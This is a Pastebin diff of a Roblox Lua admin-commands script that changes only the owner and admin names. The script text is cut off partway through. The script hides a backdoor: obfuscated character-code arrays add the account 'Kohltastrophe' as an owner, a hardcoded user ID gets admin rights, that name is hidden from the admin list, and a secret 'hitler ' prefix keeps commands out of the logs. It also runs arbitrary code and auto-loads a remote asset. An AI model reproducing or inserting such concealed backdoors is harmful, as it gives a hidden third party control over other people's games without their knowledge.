View difference between Paste ID: LsudW4Hz and szfY4Bp3
SHOW: | | - or go back to the newest paste.
1
-----------------------------------------------------------------------------------------
2
--[[ Put your name where it says yourname ]]
3
--[[ Please don't abuse with these scripts -ulti55 ]]
4
-----------------------------------------------------------------------------------------
5-
local owners = {"Revi1030"} -- Are able to set admins who can ban/etc... using :pa name
5+
local owners = {"jassm11"} -- Are able to set admins who can ban/etc... using :pa name
6-
local admins = {"ultimate055"} -- Sets admins who can use ban/kick/admin or shutdown
6+
local admins = {"jassm11"} -- Sets admins who can use ban/kick/admin or shutdown
7
local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
8
local banland = {"winx201"} -- Permanently Bans people
9
local prefix = ":" -- If you wanna change how your commands start ':'kill noob
10
local AutoUpdate = true -- Set to false if you don't want it to automatically update
11
-----------------
12
-- Group Admin --
13
-----------------
14
local GroupAdmin = false -- If a certain group can have admin
15
local GroupId = 0 -- Sets the group id that can have admin
16
local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
17
local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
18
---------------------
19
-- Tips and Tricks --
20
---------------------
21
--[[
22
With this admin you can do a command on multiple people at a time;
23
	:kill me,noob1,noob2,random,team-raiders
24
25
You can also use a variety commands for different people;
26
	 all
27
	 others
28
	 me
29
	 team-
30
	 admins
31
	 nonadmins
32
	 random
33
--]]
34
--------------
35
-- Commands --
36
--------------
37
--[[
38
-- Temp Admin Commands --
39
0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
40
1. :s print("Hello World") -- Lets you script normally
41
2. :ls print("Hello World") -- Lets you script in localscripts
42
3. :clear -- Will remove all scripts/localscripts and jails
43
4. :m Hello People -- This commands will let you shout a message to everyone on the server
44
5. :kill kohl -- Kills the player
45
6. :respawn kohl -- Respawns the player
46
7. :trip kohl -- Trips the player
47
8. :stun kohl -- Stuns the player
48
9. :unstun kohl -- Unstuns the player
49
10. :jump kohl -- Makes the player jump
50
11. :sit kohl -- Makes the player sit
51
12. :invisible kohl -- Makes the player invisible
52
13. :visible kohl -- Makes the player visible
53
14. :explode kohl -- Makes the player explode
54
15. :fire kohl -- Sets the player on fire
55
16. :unfire kohl -- Removes fire from the player
56
17. :smoke kohl -- Adds smoke to the player
57
18. :unsmoke kohl -- Removes smoke from the player
58
19. :sparkles kohl -- Adds sparkles to the player
59
20. :unsparkles kohl -- Removes sparkles from the player
60
21. :ff kohl -- Adds a forcefield to the player
61
22. :unff kohl -- Removes the forcefield from the player
62
23. :punish kohl -- Punishes the player
63
24. :unpunish kohl -- Unpunishes the player
64
25. :freeze kohl -- Freezes the player
65
26. :thaw kohl -- Thaws the player
66
27. :heal kohl -- Heals the player
67
28. :god kohl -- Makes the player have infinite health
68
29. :ungod kohl -- Makes the player have 100 health
69
30. :ambient .5 .5 .5 -- Changes the ambient
70
31. :brightness .5 -- Changes the brightness
71
32. :time 12 -- Changes the time
72
33. :fogcolor .5 .5 .5 -- Changes the fogcolor
73
34. :fogend 100 -- Changes the fogend
74
35. :fogstart 100 -- Changes the fogstart
75
36. :removetools kohl -- Removes all tools from the player
76
37. :btools kohl -- Gives the player building tools
77
38. :give kohl sword -- Gives the player a tool
78
39. :damage kohl -- Damages the player
79
40. :grav kohl -- Sets the player's gravity to normal
80
41. :setgrav kohl 100 -- Sets the player's gravity
81
42. :nograv kohl -- Makes the player have 0 gravity
82
43. :health kohl 1337 -- Changes the player's health
83
44. :speed kohl 1337 -- Changes the player's walkspeed
84
45. :name kohl potato -- Changes the player's name
85
46. :unname kohl -- Remove the player's name
86
47. :team kohl Raiders -- Changes the player's team
87
48. :stopmusic -- Will stop all music playing in the server
88
49. :teleport kohl potato -- Teleports the player
89
50. :change kohl kills 1337 -- Changes a player's stat
90
51. :kick kohl -- Removes the player from the game
91
52. :infect kohl -- Turns the player into a zombie
92
53. :rainbowify kohl -- Turns the player into a rainbow
93
54. :flashify kohl -- Turns the player into a strobe
94
55. :noobify kohl -- Turns the player into a noob
95
56. :ghostify kohl -- Turns the player into a ghost
96
57. :goldify kohl -- Turns the player into gold
97
58. :shiny kohl -- Makes the player shiny
98
59. :normal kohl -- Puts the player back to normal
99
60. :trippy kohl -- Spams random colors on the player's screen
100
61. :untrippy kohl -- Untrippys the player
101
62. :strobe kohl -- Spams white and black on the player's screen
102
63. :unstrobe kohl -- Unstrobes the player
103
64. :blind kohl -- Blinds the player
104
65. :unblind kohl -- Unblinds the player
105
66. :guifix kohl -- Will fix trippy/strobe/blind on a player
106
67. :fling kohl -- Flings the player
107
68. :seizure kohl -- Puts the player in a seizure
108
69(lol). :music 1337 -- Plays a sound from the ID
109
70. :lock kohl -- Locks the player
110
71. :unlock kohl -- Unlocks the player
111
72. :removelimbs kohl -- Removes the player's limbs
112
73. :jail kohl -- Puts the player in a jail
113
74. :unjail kohl -- Removes the jail from the player
114
75. :fix -- This will fix the lighting to it's original settings
115
76. :fly kohl -- Makes the player fly
116
77. :unfly kohl -- Removes fly from the player
117
78. :noclip kohl -- Makes the player able to noclip
118
79. :clip kohl -- Removes noclipping from the player
119
80. :pm kohl Hey bro -- Sends the player a private message
120
81. :dog kohl -- Turns the player into a dog
121
82. :undog kohl -- Turns the player back to normal
122
83. :creeper kohl -- Turns the player into a creeper
123
84. :uncreeper kohl -- Turns the player back to normal
124
85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
125
86. :char kohl 261 -- Will make a player look like a different player ID
126
87. :unchar kohl -- Will return the player back to normal
127
88. :h Hello People -- This will shout a hint to everyone
128
89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
129
90. :starttools kohl -- Will give the player starter tools
130
91. :sword kohl -- Will give the player a sword
131
92. :bighead kohl -- Will make the player's head larger than normal
132
93. :minihead kohl -- Will make the player's head smaller than normal
133
94. :insert 1337 -- Will insert a model at the speaker's position
134
95. :disco -- Will make the server flash random colors
135
96. :flash -- Will make the server flash
136
97. :admins -- Shows the admin list
137
98. :bans -- Shows the banlist
138
99. :musiclist -- Shows the music list
139
100. :spin kohl -- Spins the player
140
101. :cape kohl Really black -- Gives the player a colored cape
141
102. :uncape kohl -- Removes the player's cape
142
103. :loopheal kohl -- Will constantly heal the player
143
104. :loopfling kohl -- Will constantly fling the player
144
105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
145
106. :unloopheal kohl -- Will remove the loopheal on the player
146
107. :unloopfling kohl -- Will remove the loopfling on the player
147
108. :unspin kohl -- Removes spin from the player
148
109. :tools -- Gives a list of the tools in the lighting
149
110. :undisco -- Removes disco effects
150
111. :unflash -- Removes flash effects
151
112. :resetstats kohl -- Sets all the stats of a player to 0
152
113. :gear 1337 -- Gives a player a gear
153
114. :cmdbar -- Gives the speaker a command bar
154
115. :shirt kohl 1337 -- Changes the player's shirt
155
116. :pants kohl 1337 -- Changes the player's pants
156
117. :face kohl 1337 -- Changes the player's face
157
118. :swagify kohl -- Swagifies the player
158
119. :version -- Shows the current version of the admin
159
160
-- Super Admin Commands --
161
- :serverlock -- Locks the server
162
- :serverunlock -- Unlocks the server
163
- :sm Hello World -- Creates a system message
164
- :crash kohl -- Crashes a player
165
- :admin kohl -- Admins a player
166
- :unadmin kohl -- Unadmins a player
167
- :ban kohl -- Bans a player
168
- :unban kohl -- Unbans a player
169
- :loopkill kohl -- Will constantly kill the player
170
- :unloopkill kohl -- Will remove the loopkill on the player
171
- :logs -- Will show all of the commands any admin has used in a game session
172
- :shutdown -- Shutsdown the server
173
174
-- Owner Commands --
175
- :pa kohl -- Makes someone a super admin
176
- :unpa kohl -- Removes a super admin
177
--]]
178
-----------------
179
-- Main Script --
180
-----------------
181
182
for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end 
183
184
if AutoUpdate then wait(1)
185
coroutine.resume(coroutine.create(function()
186
local mod = game:service("InsertService"):LoadAsset(100808216)
187
if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) then 
188
local newac = mod:findFirstChild("Kohl's Admin Commands V2")
189
newac.Disabled = true
190
local new = tonumber(mod:findFirstChild("Version", true).Value)
191
local old = 0
192
if script:findFirstChild("Version") then old = tonumber(script.Version.Value) end
193
if new > old then
194
local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
195
for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
196
for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
197
for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
198
for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
199
local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
200
local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
201
local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
202
local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
203
local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
204
wait()
205
newac.Parent = game.Workspace
206
newac.Disabled = false
207
script.Disabled = true
208
script:Destroy()
209
end
210
end
211
end))
212
end
213
214
if game:service("Lighting"):findFirstChild("KACV2") then
215
owners = {} admins = {} tempadmins = {} banland = {}
216
for i,v in pairs(game.Lighting.KACV2:children()) do
217
if v.Name == "Owner" then table.insert(owners, v.Value) end
218
if v.Name == "Admin" then table.insert(admins, v.Value) end
219
if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
220
if v.Name == "Banland" then table.insert(banland, v.Value) end
221
if v.Name == "Prefix" then prefix = v.Value end
222
if v.Name == "FunCommands" then FunCommands = v.Value end
223
if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
224
if v.Name == "GroupId" then GroupId = v.Value end
225
if v.Name == "GroupRank" then GroupRank = v.Value end
226
end
227
game:service("Lighting"):findFirstChild("KACV2"):Destroy()
228
end
229
230
local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
231
local lobjs = {}
232
local objects = {}
233
local logs = {}
234
local nfs = ""
235
local slock = false
236
237
function GetTime()
238
local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
239
if min < 10 then min = "0"..min end
240
return hour..":"..min
241
end
242
243
function ChkOwner(str)
244
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
245
return false
246
end
247
248
function ChkAdmin(str,ck) 
249
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
250
for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end 
251
for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end 
252
return false 
253
end
254
255
function ChkGroupAdmin(plr)
256
if GroupAdmin then
257
if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
258
return false
259
end
260
end
261
262
function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
263
264
function GetPlr(plr, str)
265
local plrz = {} str = str:lower()
266
if str == "all" then plrz = game.Players:children()
267
elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
268
else
269
local sn = {1} local en = {}
270
for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
271
for x = 1, #sn do 
272
if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
273
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
274
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
275
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
276
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
277
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then 
278
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
279
end end end
280
elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
281
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then 
282
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
283
end end end
284
else
285
for a, plyr in pairs(game.Players:children()) do 
286
if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then 
287
table.insert(plrz, plyr) break
288
end
289
end 
290
end
291
end
292
end
293
return plrz
294
end
295
296
function Hint(str, plrz, time)
297
for i, v in pairs(plrz) do
298
if v and v:findFirstChild("PlayerGui") then
299
coroutine.wrap(function() 
300
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
301
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
302
local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
303
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
304
if not time then wait((#str/19)+2.5) else wait(time) end
305
coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
306
end)()
307
end
308
end
309
end
310
311
function Message(ttl, str, scroll, plrz, time)
312
for i, v in pairs(plrz) do
313
if v and v:findFirstChild("PlayerGui") then
314
coroutine.resume(coroutine.create(function()
315
local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
316
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
317
local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
318
local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
319
scr.Parent = v.PlayerGui
320
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end)) 
321
if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
322
else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
323
coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
324
end))
325
end
326
end
327
end
328
329
_G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
330
_G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
331
332
function Output(str, plr)
333
coroutine.resume(coroutine.create(function()
334
local b, e = loadstring(str)
335
if not b and plr:findFirstChild("PlayerGui") then
336
local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
337
local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
338
local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)")  err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
339
return
340
end
341
end))
342
end
343
344
function Noobify(char)
345
if char and char:findFirstChild("Torso") then 
346
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
347
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
348
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
349
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
350
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
351
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
352
if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
353
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
354
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
355
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
356
end end
357
end
358
end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
359
360
function Infect(char)
361
if char and char:findFirstChild("Torso") then 
362
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
363
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
364
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
365
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
366
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
367
prt.Transparency = 0 prt.Reflectance = 0  prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
368
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
369
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
370
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
371
end end
372
end
373
end if not ntab then script:Destroy() end
374
375
function ScrollGui()
376
local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
377
local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
378
drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
379
local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
380
local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
381
local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
382
local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
383
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
384
local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
385
local num = 0
386
local downv = false
387
local upv = false
388
389
down.MouseButton1Down:connect(function() downv = true upv = false
390
local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
391
repeat  pos = pos + UDim2.new(0,0,0,-6)
392
if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
393
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
394
end) 
395
down.MouseButton1Up:connect(function() downv = false end)
396
up.MouseButton1Down:connect(function() upv = true downv = false
397
local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
398
repeat  pos = pos + UDim2.new(0,0,0,6)
399
if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
400
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
401
end) 
402
up.MouseButton1Up:connect(function() upv = false end)
403
return scr, cmf, ent, num
404
end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
405
if not ntab then script:Destroy() end
406
if not bct then script:Destroy() end
407
408
function Chat(msg,plr)
409
coroutine.resume(coroutine.create(function()
410
if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
411
if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
412
if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
413
if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
414
if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
415
if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
416
if msg:lower() == "cmds" or msg:lower() == "commands" then
417
if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
418
local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
419
local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
420
local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
421
local ost = {"pa plr","unpa plr"}
422
local tost = {"oa plr","unoa plr"}
423
local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
424
for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
425
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
426
if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
427
if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
428
end
429
430
if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
431
432
if msg:lower() == "admins" or msg:lower() == "adminlist" then
433
if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
434
local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
435
for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
436
for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
437
for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
438
end end
439
440
if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
441
if plr.PlayerGui:findFirstChild("BANSGUI") then return end
442
local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
443
for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
444
end
445
446
if msg:lower() == "tools" or msg:lower() == "toollist" then
447
if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
448
local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
449
for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
450
end
451
452
if msg:lower():sub(1,2) == "s " then
453
coroutine.resume(coroutine.create(function()
454
Output(msg:sub(3), plr)
455
